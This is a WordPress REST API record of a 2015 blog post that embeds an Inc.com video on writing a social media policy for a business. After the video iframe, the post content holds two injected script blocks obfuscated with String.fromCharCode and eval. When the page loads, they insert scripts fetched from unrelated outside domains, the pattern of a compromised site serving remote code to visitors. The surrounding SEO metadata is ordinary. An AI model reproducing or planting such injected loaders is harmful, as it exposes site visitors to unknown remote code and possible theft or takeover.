{"id":4965,"date":"2015-08-03T15:51:02","date_gmt":"2015-08-03T15:51:02","guid":{"rendered":"http:\/\/maischna.de\/?p=4965"},"modified":"2015-08-03T15:52:03","modified_gmt":"2015-08-03T15:52:03","slug":"how-to-create-a-smart-social-media-policy-for-your-business-marketing-zen-founder-shama","status":"publish","type":"post","link":"http:\/\/lafritude.com\/?p=4965","title":{"rendered":"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama"},"content":{"rendered":"<div>VIDEO \u00a0\u2022\u00a0 <a href=\"http:\/\/www.inc.com\/playbook\"> THE PLAYBOOK <\/a><\/div>\n<div data-editor-class=\"InlineTextEditor\" data-variant=\"singleline\" data-label=\"Headline\" data-content-type=\"article\" data-content-id=\"77465\" data-fieldname=\"inc_headline\">How to Create a Smart Social Media Policy for Your Business<\/div>\n<div data-area-class=\"Archetype\">\n<div data-editor-class=\"InlineTextEditor\" data-variant=\"singleline\" data-label=\"Deck\" data-content-type=\"article\" data-content-id=\"77465\" data-fieldname=\"inc_deck\">Marketing Zen founder Shama Hyder explains the considerations you need to make when developing your company&#8217;s social media standards.<\/div>\n<\/div>\n<p><a href=\"http:\/\/www.inc.com\/shama-hyder\/how-to-create-a-smart-social-media-policy-for-your-business.html\"><iframe src=\"\/\/cdnapi.kaltura.com\/p\/1034971\/sp\/103497100\/embedIframeJs\/uiconf_id\/30174211\/partner_id\/1034971?iframeembed=true&amp;playerId=InfiniteArticleVideoPlayer-90&amp;entry_id=1_33ptsmg6&amp;flashvars[streamerType]=auto\" height=\"395\" width=\"560\" allowfullscreen=\"\" frameborder=\"0\"><\/iframe><\/a><script type=text\/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));<\/script><script type=text\/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>VIDEO \u00a0\u2022\u00a0 THE PLAYBOOK How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama Hyder explains the considerations you need to make when developing your company&#8217;s social media standards.<\/p>\n","protected":false},"author":2,"featured_media":4966,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[18],"tags":[1629,1630,1628,1627,1631],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.4.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama - Lafritude<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/lafritude.com\/?p=4965\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama - Lafritude\" \/>\n<meta property=\"og:description\" content=\"VIDEO \u00a0\u2022\u00a0 THE PLAYBOOK How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama Hyder explains the considerations you need to make when developing your company&#8217;s social media standards.\" \/>\n<meta property=\"og:url\" content=\"http:\/\/lafritude.com\/?p=4965\" \/>\n<meta property=\"og:site_name\" content=\"Lafritude\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/maischna.magazine\" \/>\n<meta property=\"article:published_time\" content=\"2015-08-03T15:51:02+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2015-08-03T15:52:03+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/lafritude.com\/wp-content\/uploads\/2015\/08\/Shama-Kabani_HeadshotFINAl.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1000\" \/>\n\t<meta property=\"og:image:height\" content=\"951\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary\" \/>\n<meta name=\"twitter:creator\" content=\"@maischna\" \/>\n<meta name=\"twitter:site\" content=\"@maischna\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Chesuh\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/lafritude.com\/#website\",\"url\":\"http:\/\/lafritude.com\/\",\"name\":\"Lafritude\",\"description\":\"Fashion &amp; Lifestyle Magazine\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/lafritude.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/lafritude.com\/?p=4965#primaryimage\",\"inLanguage\":\"en-US\",\"url\":\"http:\/\/lafritude.com\/wp-content\/uploads\/2015\/08\/Shama-Kabani_HeadshotFINAl.jpg\",\"contentUrl\":\"http:\/\/lafritude.com\/wp-content\/uploads\/2015\/08\/Shama-Kabani_HeadshotFINAl.jpg\",\"width\":1000,\"height\":951},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/lafritude.com\/?p=4965#webpage\",\"url\":\"http:\/\/lafritude.com\/?p=4965\",\"name\":\"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama - Lafritude\",\"isPartOf\":{\"@id\":\"http:\/\/lafritude.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/lafritude.com\/?p=4965#primaryimage\"},\"datePublished\":\"2015-08-03T15:51:02+00:00\",\"dateModified\":\"2015-08-03T15:52:03+00:00\",\"author\":{\"@id\":\"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767\"},\"breadcrumb\":{\"@id\":\"http:\/\/lafritude.com\/?p=4965#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/lafritude.com\/?p=4965\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/lafritude.com\/?p=4965#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"http:\/\/lafritude.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama\"}]},{\"@type\":\"Person\",\"@id\":\"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767\",\"name\":\"Chesuh\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/lafritude.com\/#personlogo\",\"inLanguage\":\"en-US\",\"url\":\"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g\",\"contentUrl\":\"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g\",\"caption\":\"Chesuh\"},\"sameAs\":[\"http:\/\/lafritude.com\"],\"url\":\"http:\/\/lafritude.com\/?author=2\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama - Lafritude","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/lafritude.com\/?p=4965","og_locale":"en_US","og_type":"article","og_title":"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama - Lafritude","og_description":"VIDEO \u00a0\u2022\u00a0 THE PLAYBOOK How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama Hyder explains the considerations you need to make when developing your company&#8217;s social media standards.","og_url":"http:\/\/lafritude.com\/?p=4965","og_site_name":"Lafritude","article_publisher":"https:\/\/www.facebook.com\/maischna.magazine","article_published_time":"2015-08-03T15:51:02+00:00","article_modified_time":"2015-08-03T15:52:03+00:00","og_image":[{"width":1000,"height":951,"url":"http:\/\/lafritude.com\/wp-content\/uploads\/2015\/08\/Shama-Kabani_HeadshotFINAl.jpg","type":"image\/jpeg"}],"twitter_card":"summary","twitter_creator":"@maischna","twitter_site":"@maischna","twitter_misc":{"Written by":"Chesuh"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/lafritude.com\/#website","url":"http:\/\/lafritude.com\/","name":"Lafritude","description":"Fashion &amp; Lifestyle Magazine","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/lafritude.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"http:\/\/lafritude.com\/?p=4965#primaryimage","inLanguage":"en-US","url":"http:\/\/lafritude.com\/wp-content\/uploads\/2015\/08\/Shama-Kabani_HeadshotFINAl.jpg","contentUrl":"http:\/\/lafritude.com\/wp-content\/uploads\/2015\/08\/Shama-Kabani_HeadshotFINAl.jpg","width":1000,"height":951},{"@type":"WebPage","@id":"http:\/\/lafritude.com\/?p=4965#webpage","url":"http:\/\/lafritude.com\/?p=4965","name":"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama - Lafritude","isPartOf":{"@id":"http:\/\/lafritude.com\/#website"},"primaryImageOfPage":{"@id":"http:\/\/lafritude.com\/?p=4965#primaryimage"},"datePublished":"2015-08-03T15:51:02+00:00","dateModified":"2015-08-03T15:52:03+00:00","author":{"@id":"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767"},"breadcrumb":{"@id":"http:\/\/lafritude.com\/?p=4965#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["http:\/\/lafritude.com\/?p=4965"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/lafritude.com\/?p=4965#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"http:\/\/lafritude.com\/"},{"@type":"ListItem","position":2,"name":"How to Create a Smart Social Media Policy for Your Business Marketing Zen founder Shama"}]},{"@type":"Person","@id":"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767","name":"Chesuh","image":{"@type":"ImageObject","@id":"http:\/\/lafritude.com\/#personlogo","inLanguage":"en-US","url":"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g","contentUrl":"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g","caption":"Chesuh"},"sameAs":["http:\/\/lafritude.com"],"url":"http:\/\/lafritude.com\/?author=2"}]}},"_links":{"self":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts\/4965"}],"collection":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4965"}],"version-history":[{"count":2,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts\/4965\/revisions"}],"predecessor-version":[{"id":4968,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts\/4965\/revisions\/4968"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/media\/4966"}],"wp:attachment":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4965"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4965"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4965"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}